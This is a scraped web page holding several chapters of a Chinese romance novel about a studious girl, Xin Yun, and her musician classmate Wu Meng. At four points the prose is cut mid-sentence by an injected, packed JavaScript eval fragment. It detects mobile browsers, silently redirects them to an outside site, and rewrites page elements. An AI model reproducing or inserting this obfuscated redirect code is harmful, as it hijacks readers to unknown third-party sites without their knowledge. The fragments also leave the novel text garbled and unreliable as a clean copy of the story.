辛蕴刚才在家里吃过晚饭,并不饿,所以吃得慢,一个人吃饭多少有些无聊,尤其她双手剥着虾不方便玩手机,加上隔壁一桌那几个男人一副跃跃欲试的姿态,辛蕴又害怕又厌烦,索性戴上了耳机假装自己在听歌,但她的耳机里什么也没放,她甚至关了降噪的功能,隔着耳机听着店里面传来的模糊歌声。 过了一会儿,邬蒙和那个男生拿着乐器和音响出来了。他似乎并没有看到辛蕴,直接越过她这一桌朝她斜后方的一桌客人那边去了。 辛蕴的心跳有些不受控制地加快。 她低下头,细致地剥着手里的那只龙虾。 隔着耳机,她听到了邬蒙正在热情地招呼着那一桌客人。 “五周年纪念日?真的吗?”身后传来了他略带惊讶的声音,“我真看不出来你们都已经结婚了,还以为你们俩都是在校大学生。” 邬蒙长着一张少年气十足的脸,笑容看起来真诚又阳光,这样的人说起奉承话来丝毫不让人讨厌。 那一桌的其他几个客人起哄让邬蒙他们唱《一生所爱》。 “我的粤语不太标准,你们凑合听吧。”邬蒙眨了眨眼,俏皮地说:“虽然我说的是塑料假粤语,但是我祝福这对甜蜜小夫妻的心是半点不掺假的。” 一桌客人都笑出声来。 在一片尖叫和起哄声中,邬蒙低下头,他收了脸上的笑容,神情变得认真,拨弄着手里的琴弦,凑近话筒,轻声唱道—— “从前现在过去了再不来 红红落叶长埋尘土内 开始终结总是没变改 天边的你漂泊在白云外 ……” 辛蕴脱下一只耳机,侧耳去听。 比起之前在酒吧里的温柔缱绻,邬蒙唱这首歌时的声音刻意压得很深沉,他少年气十足的嗓音和这么有故事感的曲调结合,碰撞出了一种很奇特的魅力。 少年人唱老情歌,天底下大概没有一个女性能够拒绝,更何况还是“营业状态”下的邬蒙。 一曲结束,全场都在鼓掌,隔壁桌的好几个女生甚至一边尖叫一边欢呼。 辛蕴脱了剥龙虾的塑料手套,正要夹在这声浪中轻轻地鼓两下掌。 旁边那桌突然走过来一个男人,他手里拿着一杯啤酒,笑嘻嘻地看着辛蕴,说:“小妹妹,我玩游戏输了,敬你一杯酒。” 辛蕴愣了一下,抬头瞥那男人一眼,眼神冷淡又戒备。 眼前这个男人看起来得有三十五六了,却还要和她这个未成年玩这种莫名其妙的无聊把戏,真是油腻又让人生厌。 要是放在以往辛蕴肯定是不会搭理的,她甚至还要给对方一个白眼,但或许是这些天在学校的经历教会了她做人圆滑一点也并不是坏事。 辛蕴犹豫了一下,还是拿起桌上的杯子,以茶代酒,浅浅地喝了一口。 见辛蕴给面子,对方显然很兴奋,他将手里的那杯啤酒仰头一口喝了,又说:“小妹妹,你今天一个人吗,要不要……” 辛蕴抬手指了指自己另一只耳朵上的耳机,开口打断男人的话,说:“我在打电话,不好意思。” “那行吧,有机会一起喝两杯。”对方也还算识趣,听到辛蕴这么说,男人转身回到了自己那一桌,其他几个男人见辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可等到面前的一盘龙虾见底,邬蒙和他的同伴依旧没有再出来。 辛蕴看了一眼手机屏幕,已经是晚上八点半了。 她还得回去复习文综。 算了,今天本来就是她一时脑热。他没认出来自己也好,这样双方也不会尴尬。如果他认出来了她,两人还要经历一次客套又尴尬的打招呼环节。实在是没必要。 辛蕴像是突然被一阵冷风吹清醒了。她从春夜里的一场梦中醒过来,站了起来,走到店内去结账。 女老板见有客人进来结账,一脸笑容地迎过来,上下打量着辛蕴,赞道:“小姑娘长得真漂亮,你的裙子和耳环搭配得太好了。” 店内的客人不多,空荡荡的大堂很安静,女老板的声音显得格外突出。 一瞬间,几个店员的目光全都朝这边看了过来。 感受到几道打量的视线,辛蕴的脸有些发烫,一颗本已沉静下去的心又小小地雀跃了一下,她的余光偷偷朝某个方向瞥去—— 邬蒙坐在吧台边,就连站在他对面和他聊天的服务生都朝这边看了过来,可他却依旧坐得端正,丝毫没有注意到辛蕴这里。 不知道是没有听到女老板的话,还是根本没兴趣。 辛蕴刚刚跃起来的心又慢慢地落了地,她扫完码付了钱,走出了店门。 回去的路上,晚樱落了一地,没有风,连她的裙角也是无精打采的。 那天晚上,辛蕴没有心思复习文综,只是有些愤愤地在日记本上写下一行字—— “某人大概是个瞎子。” 写完之后,又觉得自己有些莫名其妙,一把撕下那张纸,揉成团,扔进了垃圾桶里。 16. 第 16 章 第二天考试结束,正好轮到辛蕴那一组的最后两排同学值日。 辛蕴从考场返回三班,坐在她前排的两个女生已经开始在搬桌子了。 见到辛蕴从外面走进来,两人撇过头假装没看到,两个脑袋凑在一起嘀咕了一句,然后继续说说笑笑地搬动着课桌,完全把辛蕴当成空气。 因为充当考场的原因,三班的桌子被拉开分散,多余的桌子和椅子都被堆在了教室后面。 要把教室恢复原样并不是一个轻松的工作。 辛蕴见两人已经在搬桌子,自己也插不进去,于是拿起黑板擦,开始清理黑板上监考老师留下的几行字迹—— 【文综考试:下午2:30——下午5:00。】 【请保持考场安静,有事举手示意。】 擦完这些字迹,辛蕴又拿起一旁的湿抹布将黑板上残余的粉笔灰全都擦干净。 教室里很安静,只有身后桌椅摩擦地面发出的咯吱声和两个女生低低的窃窃私语声。 铃声又响过一次。 辛蕴收拾完讲台,拿着抹布去了开水房,她把抹布洗干净,从开水房里推门出来,就看见那两个女生背着书包从教室里有说有笑地走了出来。 三人打了一个照面,其中一个女生冲着辛蕴抬抬下巴,说:“我们的活弄完了,剩下的你来吧。” 辛蕴点点头,回到教室。 教室里的两排桌椅已经整理得差不多了,但剩下的三排还没弄,扫地和拖地的活一点没动,垃圾桶更是一个都没倒。 两个人加起来连四分之一的活都没干完。 她转头去看教室外,那两个女生早就走远了,空荡荡的走廊里只剩下夕阳的一地余晖。 辛蕴无声地叹了一口气。 她撸起袖子,开始整理剩下的桌椅。 一个人搬课桌多少有些吃力,加之好多课桌的抽屉肚子里还装着一堆书和试卷,辛蕴没搬一会儿就已经开始出汗了。 月考之前史振邦明明特地打过招呼,让班上的同学把放在抽屉里的书都带走,但就是有同学不按规矩办事,现在辛蕴还得按照那些书上的名字给他们把桌子重新排好。 辛蕴一边整理课桌和板凳,另一边还要跑到讲台上去看黑板旁的座位表,这么往返跑了几次,终于弄完了两组。 她刚坐下来喘口气,突然听到教室门口传来一阵动静。 辛蕴回头去看。 邬蒙背着一个大大的吉他包走了进来,他似乎是没看到她,径直朝自己座位的方向走去,看起来应该是有东西落在课桌里了。 “你的课桌还没排好。”她出声提醒。 听到声音,邬蒙猛然转头看着她,脸上的表情像是被吓了一跳。 辛蕴有些无语。这个人的眼神怎么还是这么不好? 这么一个大活人坐在这里他是看不见吗? 她站了起来,走到一旁,按开了墙上的开关,教室里一瞬间变得明亮。 “教室里的桌子都被打乱了,你的课桌现在还在那里。”辛蕴伸出一根手指,指了指教室后面堆着的那些课桌和椅子。 邬蒙从惊吓中回过神来,他摸了摸鼻子,转头看了一眼辛蕴指的方向,几步走到那堆桌椅前,几乎没费什么功夫就找到了他自己的课桌,一只手撑在桌面上,另一只手探过去,修长的手指轻轻一勾就把抽屉肚子里的东西勾了出来。 辛蕴看到那是一个黑黑的长方体,像是一大块黑巧克力,不知道具体是什么。 邬蒙拿到东西,冲她点点头,很快就脚步匆匆地离开了。 辛蕴看着他的背影消失在教室门口,原地沉默了片刻,转身继续开始搬桌子。 心里却蓦然涌起一种说不清楚的情绪。 邬蒙这个人很奇怪。 经过酒吧那一晚,辛蕴本来以为两个人之间的关系应该变得更亲近一点才对,就算不能变成朋友,见了面应该也能说上几句话,可是这几天邬蒙对她和其他同学并没有任何区别。 他不会主动跟她说话,更不会提起任何有关于那天晚上的细节。 那天晚上的邬蒙就像是童话里穿着水晶鞋的灰姑娘,十二点的钟声一响,就彻底消失在了那个春风沉醉的夜晚中。 辛蕴不禁开始想——或许那天晚上对方只是同情心泛滥,如果那天被霸凌的人不是她,换做别人,他是不是还会一样伸出援手? 这么想着,辛蕴的心开始被一种失落的情绪侵蚀着。 这时教室门口突然探进来一个脑袋,问:“今天是我们值日吗?” 辛蕴抬头去看。 邬蒙竟然回来了,他站在夕阳暮色中看着她,清瘦的肩背上落满了橘色的柔光。 辛蕴一愣,心跳得飞快,缓慢而坚定地点点头。 是啊,她都快忘了这一茬。邬蒙和她是同桌,今天也是值日生。只不过因为他平时很少来学校,也从来不参加班里的集体活动,所以辛蕴才压根没想到这点。 见辛蕴点头,邬蒙放下背上的吉他包,快步走到她跟前,说:“我来吧。” 辛蕴愣愣地往后退了两步。 面前的那张课桌里塞了不少课本,刚才她拖了半天也没拖动。 邬蒙双手抓握住课桌边缘,修韧的小臂上鼓起道道青筋,一整张课桌就这么轻轻松松地被他抱了起来。 “放哪里?”他问。 “这里。”辛蕴指了一个位置。 邬蒙把课桌放到辛蕴指的地方,转身去搬第二张课桌。他看起来不算魁梧健壮,但力气却很大。 两个人一个搬桌子一个看位置,很快就把最后一组课桌也排完了。排完课桌之后,辛蕴给两人分工——她自己负责扫地,邬蒙跟在她后面拖地。 夕阳的最后一抹亮光也消失在了天际处,晚风从打开的窗户吹进来,白色的窗帘轻轻摆动着,一切都显得静谧而美好。 辛蕴闷头扫完地,看到身后的邬蒙还没拖完,于是拿起教室里的垃圾桶去楼下倒垃圾。 楼梯间的灯光昏暗,她小心翼翼地低头看着脚下的楼梯,突然听到有人刻意压低的交谈声。 辛蕴顿住脚步,低头透过楼梯的间隙去看,下面一层的楼梯间里站着一高一矮两个身影。 “你凭什么要跟我分手?你他妈哪根筋搭错了?!”女孩夹杂着哭腔的声音听起来有点耳熟。 站在女孩对面的男生沉默了几秒钟,说:“我说过了,我们俩不合适,你这样老是过来找我也没有用。还有……”他的语气有些犹豫,说:“你以后不要再找她的麻烦了。” 听到这里,女孩像是一下子被踩到了尾巴的猫,瞬间炸开了毛,说:“你他妈就是因为朱黛才要跟我分手的!是不是?!!” 男孩被女孩狠狠地推了一把,后背撞在了墙上,他闷哼了一声,怒道:“你……”他刚要站直身体继续说话,女孩的身体却紧紧地贴了上来,直接堵住了他的嘴。 看到这里,辛蕴像是被烫到了一样,她忙不迭地收回目光,站在原地平复了一下心跳,然后放轻脚步,折返回去,穿过两幢教学楼之间的长廊,从另一边下了楼。 这么一番折腾,倒垃圾花了一会儿功夫,等辛蕴提着空垃圾桶回来的时候,教室里空荡荡的,不见一个人影。 邬蒙已经不在教室里了,他的吉他包也不见了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832037|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚被清扫过的地面看起来湿漉漉的,水光反射出天花板上日光灯的光,空气里散发着一种令人安心的清新味道。 辛蕴看着眼前这个干净明亮的空教室,嘴角上扬的弧度还没来得及落下去。 “地我拖完了,拖把也洗干净了。”身后突然传来邬蒙的声音。 辛蕴回头去看。 邬蒙身上背着吉他包,他应该是刚刚洗过手,用一张纸巾随意地擦着手上的水滴,看着她说:“要是没有别的事情我就先走了。” 辛蕴愣了一下,抿了抿唇,点头说:“好。” 邬蒙转身正要走。 身后的辛蕴像是突然想起了什么,快步追了上来,拦在他面前,说:“等一下!你还是从那边的楼梯下去吧。” 邬蒙的表情有些疑惑:“什么?” 辛蕴冲他眨眨眼,用手指指了一下楼梯下方,用压低了的气声说:“徐慧敏和她男朋友在……吵架。” 邬蒙愣了一下,会意地点点头。 辛蕴说这句话的时候睁大了双眼,她嘴部的动作有些夸张,发出来的声音却很小,如果不认真盯着她的嘴唇,几乎听不清她在说什么。这就让邬蒙的视线不得不落在她那张厚薄适中的嘴唇上。 辛蕴没有涂唇膏,也没有涂口红,唇部的皮肤呈现出一种淡淡的粉色,看起来饱满又柔软。她唇下有一粒小小的痣,随着她说话的动作,那一粒痣在他的目光中跳来跳去。 邬蒙将自己的视线从那一粒小痣上移开,发现此刻辛蕴的表情有一种从所未有的生动。可说完这句话,她好像又有些不好意思似的,嘴唇微微抿起来,双眉之间攒起一道小小的山峰,山峰下面那个小而挺翘的鼻子耸了耸,又恢复了以往那个好学生的模样。 像是从蚌壳里探出来的蚌肉,怯生生地露出一点,很快就缩回去,严严实实地合上了蚌壳。 邬蒙觉得有趣,有那么一瞬间,他突然有点想笑。 他及时地挪开了自己的视线,朝她比了一个ok的手势,调转方向,朝连廊那边去了,走出去几步,又回头看过来,说:“你也早点回家。” 辛蕴站在原地,愣了片刻。 月亮破开云层钻了出来,明亮的月光洒在长廊的地砖上,廊边的樱花已经落了大半,枝头的树叶绿油油的,看起来生机勃勃。 眼看着邬蒙背着吉他的身影走远了,她才敢捂住自己的扑通乱跳的心口,迈着雀跃的步伐,转身回到身后的教室。 - 邬蒙赶到检票口的时候,站在闸机口等他的三个人急得像是热锅上的蚂蚁,差点就要原地跳脚。 邬蒙一来,几人立刻冲到闸机口,检票完过了闸机,飞速地下楼奔去站台。 丁丁拖着行李箱,一边跑一边喊:“我靠!你他妈咋回事!差点又没赶上高铁!” 阿祥跑得气喘吁吁,撑着腰喘气,“你小子真不是人,每次都来这么一遭,我迟早要被你跑死!” 邬蒙咧着嘴笑:“屁话那么多,老子不是没迟到吗?” 他身高腿长,虽然背着一个大大的吉他包,但身形却是最几个人当中最矫健的,很快便越过众人跑在了最前面。 一辆急速行驶的列车从车站穿行而过,带起来的一阵风从他们耳边呼啸而过。 邬蒙于奔跑中抬头去看头顶的显示屏,站台广播念着—— “下午7点45分从南城市开往杭城市的G8329号列车就要出发了,请没有上车的旅客抓紧时间上车……” 在周围无数旅人匆忙又疲惫的身影里。 少年眼神明亮,满脸兴奋,冲着显示屏高声喊道:“杭城!我们来啦!” 17. 第 17 章 春天的脚步来也匆匆,去也匆匆。今天南城市的最高温度已经有三十二度,气温直逼盛夏。 第二次月考的成绩在一个阳光灿烂的午后被公布。 这次辛蕴的成绩回落了一点,全校第三,但依旧是全班第一。 按照往年南城一中的战绩来看,辛蕴如果能继续保持这个成绩,完全有机会成为下一个状元苗子。 史振邦高兴得几乎有些得意忘形,他坐在讲台上的椅子上,两行有些稀疏的眉毛微微上挑,一边讲着话一边翘着二郎腿轻一下慢一下地踢着面前的讲桌腿,“咱们班的辛蕴同学在这次月考中取得了一个非常不俗的成绩,这回我要重点表扬一下她。” 讲台上积了一层厚厚的粉笔灰,随着史振邦脚上的动作,白色的粉尘在阳光中飞旋飘舞。 “你们平时要多向辛蕴同学学习。学习嘛,最重要的就是心要定,首先要坐得住,才能学得进去。不用我说,你们肯定也察觉到了,辛蕴同学平时的学习态度就非常的端正。我从来没有看见过她上课走神,也从来没听到哪一门任课老师说她拖延交作业。” 讲着讲着,史振邦似乎又想起来一件事——虽然辛蕴是个妥妥的状元苗子,但也丝毫不影响这次月考三班依旧稳坐年级倒数第一的位置。他高高扬起来的眉毛略略落下去了些,翘着的二郎腿也放了下去,清清嗓子,冷下脸又道: “再看看你们中间的某些人,上课不认真听课就算了,一下课就猴子一样到处乱蹿,整个走廊都是你们鬼吼鬼叫的声音。就这种学习态度你们要是考得好就真的有鬼了。同样在一个班学习,同样的老师教出来的,人家考什么分数,你们考什么分数?我希望有些同学要好好反思一下自己。” 说完,史振邦的目光又落在了教室最后排的方向,脸上的神色变得温和了一些,道:“辛蕴同学,你上来讲两句吧,和班上的同学们分享一下你的学习经验。” 辛蕴愣了一下,抬头对上史振邦殷切的眼神,她低头沉默了几秒钟,然后在全班同学的注视中,表情平静地走上讲台。 窗外的香樟树在灿烂的阳光中摇晃着枝叶。 辛蕴的目光逡巡了一圈教室内仰头看着她的那些脸庞。他们的眼神中有不屑、有无所谓、有冷漠,也有复杂。 要是放在以前,辛蕴或许还真的会把自己的学习经验一字一句地掏心窝子地分享出去,但是现在她已然明白——此刻不管她说什么,底下的这群人一定都是嗤之以鼻。 辛蕴当然不打算再当一回愚蠢的圣母,她作文写得好,以前在初中的时候她就经常帮自己的班主任兼年级主任写旗下发言的讲稿,现在打起官腔来自然是信手拈来。 辛蕴先是表达了一下对各科老师的感激,又说是这次的试卷她之前碰到过类似的题型,考得好纯属是运气好,丝毫没提及她自己私底下的那些努力。 在一个群体里,大家总是喜欢谦卑的胜利者。 辛蕴也是后来才明白的—— 成绩好本身不是一种罪过。如果一个人除了成绩好以外,别的地方都和其他人一样,一样追更时下最流行的韩剧,一样讨论校门口好喝的奶茶店,一样会八卦那些年级风云人物,那么成绩好就是一个闪光点。甚至会成为她“人好”、“有亲和力”的佐证。 但如果一个人除了成绩好以外,别的很多地方都和其他人完全不一样。比如在大家休息的时候她埋头刷题,在大家讨论韩剧和八卦的时候她戴着耳塞整理错题集,当大家都想放松懈怠一下的时候她偏偏要选择独立清醒,那么她的“好”就完完全全变成一种“罪过”了。 有时候身处集体之中,人不得不学会打磨自己身上的棱角,甚至要浪费时间去做一些明知道无意义的事情,这是一种无奈,也是一种悲哀。 辛蕴不是一块顽石,她被这两个月以来的排挤和霸凌磨去了很多锋芒和锐气,她好像已经慢慢学会了怎么去做一个讨人喜欢的好学生和好同学。 再次听到邬蒙这个名字,是在五月中旬的一个晚自习。 “你们看到那个帖子了吗?那人真的是邬蒙吗?他怎么跑去参加选秀节目了?” 辛蕴翻页的手顿了一下。 “应该就是他,他都好久没来学校了,时间正好对得上。” “天呐,他以后不会变成明星吧?那也太酷了,要是他成名了,我们以后就是大明星的同学了!” “难说,虽然说邬蒙长得很帅,但不是都说那些选秀节目是有剧本的吗?他最后能拿到名次吗?如果拿不到名次也没什么用。娱乐圈的帅哥那么多,他没钱没人脉,很难混出头的。” “谁说的?颜值即正义,只要粉丝多,就算不是皇族也能出圈,我以前就觉得邬蒙气质不一般,他就算成不了大明星,以后也不会混得很差的。” …… 几个女孩围在一起讨论得热火朝天,辛蕴坐在那里,努力地克制住自己想要抬头去看的欲望。 一整个晚自习,她都有点心不在焉。 晚上放学回到房间,辛蕴坐在书桌前,刚翻开手里的试卷,脑子却不受控制地开始回想那几个女生的话。 心里有个声音在对她说——这是别人的事情,她那么好奇干什么? 可最后到底还是没忍住。 辛蕴从床头柜里拿出手机,打开了校内论坛。 首页飘着几个帖子,点进去全都是邬蒙的名字和照片,照片上大部分都是一闪而过的侧脸和背影,但依然能看得出来确实是邬蒙没错。 辛蕴往下翻了几页。 邬蒙消失的这些天竟然是去参加了一个视频网站的乐队选秀节目,虽然现在节目只播出了一期,他也只有短短几个一闪而过的镜头,但这足以在一中的论坛上掀起一番波澜了。 辛蕴点开帖子里的那张动图。 邬蒙在这个节目里应该只是充当背景板的小角色,没有很高清的特写镜头,所以这张动图里他的脸十分模糊。 她凝眸注视着电脑屏幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832038|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的那张脸。 邬蒙留给辛蕴的印象一直以来都是整体的、模糊的。比起长相,她记住的更多还是他带给人的一种感觉。 此刻辛蕴突然意识到自己好像从来没有认真打量过邬蒙的五官具体是什么样子。 在妆造的加持下,屏幕上的那张脸看起来近乎完美,眉骨锋利的眉眼,高而瘦挺的鼻背和一张微微削薄的唇。 这么模糊的一张动图,却让她第一次如此清晰地真的看清邬蒙的脸。 这样的邬蒙很陌生,也很熟悉。辛蕴心里涌起一种说不上来的复杂情绪。她放下手机,盯着虚空处发呆。 那天晚上,辛蕴做了一个很真实又很虚幻的梦。 她梦见邬蒙站在聚光灯汇集、彩带漫天纷飞的舞台上,而她被观众台上拥挤的人群簇拥着,耳边是嘈杂的欢呼声,她盯着舞台上的那个身影,想要喊他的名字,可是她却怎么也喊不出声,或许她喊出声了,只是很快又被那铺天盖地的欢呼声淹没。 梦中那种无法控制自己声带的感觉让辛蕴猛然惊醒。 第二天早读课,辛蕴有些心不在焉地写着昨晚没完成的数学试卷。 三班还是那个老样子,早自习的铃声已经敲过好几遍了,班里依旧吵得像一锅煮沸的开水。 但辛蕴已经习惯,她写完一道大题,转头看向身边那个已经空了很久的座位。 脑中忽然浮现出昨晚电脑屏幕上的那张脸。 那个少年明明一个月前还和自己一样在这个泥潭里沉沦,现在却已经穿着黑色皮衣梳着大背头在聚光灯下闪闪发光。 这种感觉让辛蕴有些恍惚。 早读课下课,史振邦把辛蕴叫到了办公室,说:“青苗奖学金的通知已经下来了,咱们班的获奖人定下来了是你,下周一校长发表旗下讲话,到时候你和其他班的获奖人一起上台领奖。” 预料之中的结果,辛蕴并没有特别惊喜。从史振邦的办公室出来,她回到教室,打起精神继续埋头刷题。 别人的事毕竟是别人的事,说到底跟她压根就没关系,她在这里分神想太多,到时候耽误的只能是自己的事。 毕竟这次辛蕴虽然拿了全班第一,但在全校的名次却下滑了两名,这足以引起她的警惕。 辛蕴刚稳定心神,专注地审题。 突然,旁边的窗户被人从外面拉了一下。 磨砂玻璃上倒映着几个模模糊糊的身影。 辛蕴的心一提,神经瞬间绷紧,正要伸手去按住玻璃。 窗户被猛然拉开,外面站着几个打扮时髦的年轻女生。 “请问邬蒙是坐在这里吗?” 辛蕴一愣。缓慢地点点头。 几个女孩对视一眼,捂住嘴巴低声尖叫,兴奋地把手里的东西递了进来,说:“这个请帮我们交给邬蒙同学,谢谢啦!” 哗啦一声,窗户又被关上了。 辛蕴捧着一堆花花绿绿的礼物,对着磨砂玻璃,愣愣地出神。 18. 第 18 章 或许是最近吴咏梅女士用力过猛,辛蕴连喝了几天补汤,嘴唇上起了一个红色的疱。 今天早上起床她对着镜子左右看了半天,眉头就没松下来过。 辛蕴的皮肤随辛东福,又白又干净,从来不长痘。 别看辛东福现在已经四十多岁了,平时烟酒不忌,还经常跟人应酬大吃大喝,但就这样他的皮肤也比大街上的很多女人都要好。 他不仅脸上干干净净,没有痘坑也没有皱纹,身上的皮肤也是细嫩光滑,就是这些年风吹日晒皮肤黑了些。 吴咏梅以前就经常为此忿忿不平,说这身细嫩的皮子给辛东福这个大老粗真是白白糟蹋了。她去美容院花了这么多钱,涂了这么多营养液美容霜,还没他一个整天跑工地的皮肤白。 可每每吴咏梅吐槽完,末了总要加上一句——“还好我家蕴蕴随了她爸。” 辛蕴确实像辛东福,她打一出生就白得发光,从小到大脸上是白白嫩嫩的,小时候哪个亲戚来了见到了她都想捏两把小脸蛋。 现在长大了进入青春期,很多男生女生的脸上多多少少都会长一些痘痘粉刺,但辛蕴的脸上从来都是干干净净的,像是一块没有任何瑕疵的白瓷。 可这样的人脸上一旦出现个什么东西就会特别明显。 此刻辛蕴看着自己嘴唇上那个突兀的疱,只觉得十分碍眼,她闷闷地走出卫生间,到餐桌前坐下,拿起筷子,夹起一个蒸饺塞进嘴里。 “不就是一个小水疱嘛,过不了几天就会消下去的。”吴咏梅一边喝着豆浆一边安慰她。 辛蕴没说话,用力地嚼着嘴里的蒸饺。 吴咏梅瞥她一眼,又说:“你嘴巴上不是老起疱嘛,以前怎么不见你唧唧歪歪?我喊你抹药你都懒得抹,还说过不了几天就自己好了。” 辛蕴咽下嘴里的那个蒸饺,拿起旁边的豆浆,一口气快速喝完,然后站了起来,问:“豆浆装好了吗?” “早就装好了。”吴咏梅拿起桌上的一个保温杯塞进辛蕴的书包里,一边帮她背书包一边说:“书包这么重,还非得带豆浆,小小年纪别把背都压弯了。” 看着辛蕴背好书包往门口走,她又忍不住吐槽了一句:“什么同学啊,自己家里没有豆浆机吗?想喝豆浆自己不会买啊,干嘛非得让你天天带?重都重死了。” 辛蕴心情不太好,没心思搭理吴咏梅,背着书包就迈出了家门。 电梯里,她盯着电梯的面板上自己嘴唇上的那个红色小疱愣愣地发呆。 这个小水疱其实是辛蕴小时候那场车祸的后遗症。 当时辛蕴才读小学,放学路上她被一辆急驰而过的摩托车撞得飞了出去,身上没什么大问题,可是她的嘴唇却在下落的时候蹭到了地面上的一个锋利的小石子,直接撕裂出了一个大口子,血淋淋的肉翻出来,往外呼呼地流血。 辛蕴从来不知道原来人的嘴唇会流出这么多的血来,那一瞬间她的脑子已经懵了,根本感知不到疼痛。她只记得当时她仰躺在地面上,有股热热的东西一直顺着她的嘴唇往下淌。 同学们围在旁边惊恐地尖叫,人群后面,不明情况的车辆在拼命地鸣笛,肇事摩托车的车主是个看起来很憨厚的中年男人,他似乎被吓傻了,僵在那里手足无措。 有个好心的阿姨一把抱起辛蕴,几乎是飞奔着把她送进了学校对面的那个卫生所里。 村里卫生所里的医生大概也很少见到这场面,他先是被一脸血的辛蕴吓了一跳,然后仔细看了一眼辛蕴的伤势,说她嘴上的伤口必须马上进行缝合手术。但卫生所里没有麻药,要是生缝要受很大罪。 可要送辛蕴去城里的医院又太远,那时候村里的交通不便,现在找车把她送到城里去,要是路上耽搁了,怕是人没到城里,血就流干了。 那个阿姨不敢轻易做决定,一直等到了吴咏梅冲进卫生所里。 吴咏梅是个性子极其要强的女人,这么多年辛蕴从来没见过她流过眼泪,可是那天吴咏梅那张黝黑的脸庞涨得通红,连眼睛都是红通通的,两滴泪水挂在她的眼睛下面,要掉不掉的。 听医生说完情况,那两滴泪立马顺着她又红又黑的脸蛋滚落下来。 “现在就缝。”她的声音已经带着哭腔。 医生没办法,只能在没有麻药的情况下硬生生地给辛蕴缝针。 辛蕴躺在那张简陋的病床上,眼睁睁地看着医生双手颤抖地拿着穿了线的针戳进她豁开了一个大裂口的嘴唇里,像是缝衣服一样来回缝了好几针。 痛应该是很痛的,只是现在辛蕴的大脑已经选择帮她淡忘了这种疼痛。 或许是当时的卫生条件实在有限,消毒没有做到位,在这之后,每当辛蕴上火或者抵抗力变低的时候,当初缝针的地方就会发炎,然后冒起一个红色的水疱,又痒又疼。 以前辛蕴确实不在乎,但是今天她的心情却因为这个“老朋友”变得有些糟糕。 她到学校的时候早读课的铃声刚刚敲响,刚放下书包,旁边坐过来一个人。 黄丽君笑嘻嘻地拿起辛蕴书包一侧的保温杯,拧开杯盖,轻轻吹了一口上面的热气,转头看着辛蕴,说:“今天怎么差点迟到了?睡晚了?” 辛蕴没有拿下脸上的口罩,声音也是闷闷的,说:“昨晚有点失眠。” 黄丽君没回话,她将保温杯里滚烫的热豆浆吹得稍稍凉了些,小心翼翼地喝下一小口,满足地叹了一口气,这才开口说道:“你知不知道今天邬蒙好像要回来了?” 辛蕴拉开书包拉链,拿出自己的文具袋和课本,轻声说:“不知道。” 黄丽君“啧”了一声,说:“你怎么就跟个世外高人一样,一点都不关心班里的人和事?我跟你说,现在邬蒙已经成了我们学校……哦不对,是附近几个学校都知道的大名人了。你身为他的同桌竟然一点也不关心?” 辛蕴没说话,低头整理着今天要用的书和资料。 黄丽君对她的性子有些了解,也不以为意,一个人自顾自地说着:“我在学校论坛上看到小道消息,说邬蒙昨天已经从杭城回来了,他这么长时间都没回学校,今天老史肯定得让他回来上课。”她又喝了一口豆浆,连连“啧”声,说:“今天你这里肯定要围满邬蒙的小迷妹,他本来就是校草,有很多人追,现在更是不得了了,今天你就做好迎接狂风暴雨的准备吧。” 辛蕴一边听着黄丽君的话,一边翻着手里的习题册。 黄丽君是辛蕴在三班唯一的朋友。严格来说,也算不上是朋友,她只能算是对辛蕴比较友好的一个女同学。 两人的结识还要从一个巧合说起。 自从文理分科之后,三班一下子多出了几个重复度极高的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832039|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——黄丽敏,黄丽君,黄敏丽,黄敏君。偏偏这几个女生都扎着马尾辫留着齐刘海,外形上看上去也很雷同。即使已经过去了半个学期,经常还是有老师和同学把几个人弄混。 但辛蕴的记性很好,她收资料和作业的时候从来没有把几个人的名字弄混过。 就因为这个小细节,那个叫黄丽君的女同学对辛蕴很有好感,人和人之间的磁场是个很神奇的东西,黄丽君性格活泼,却偏偏喜欢辛蕴这个清清冷冷的样子。 因为辛蕴的同桌邬蒙很少来学校,他的位置总是空着的状态,很多次早读课黄丽君总是会过来和辛蕴一起读书背单词。 吴咏梅每天早上都会给辛蕴准备一杯加了各种料的现磨豆浆,黄丽君每次看见了那些五颜六色的豆浆总是十分眼馋。 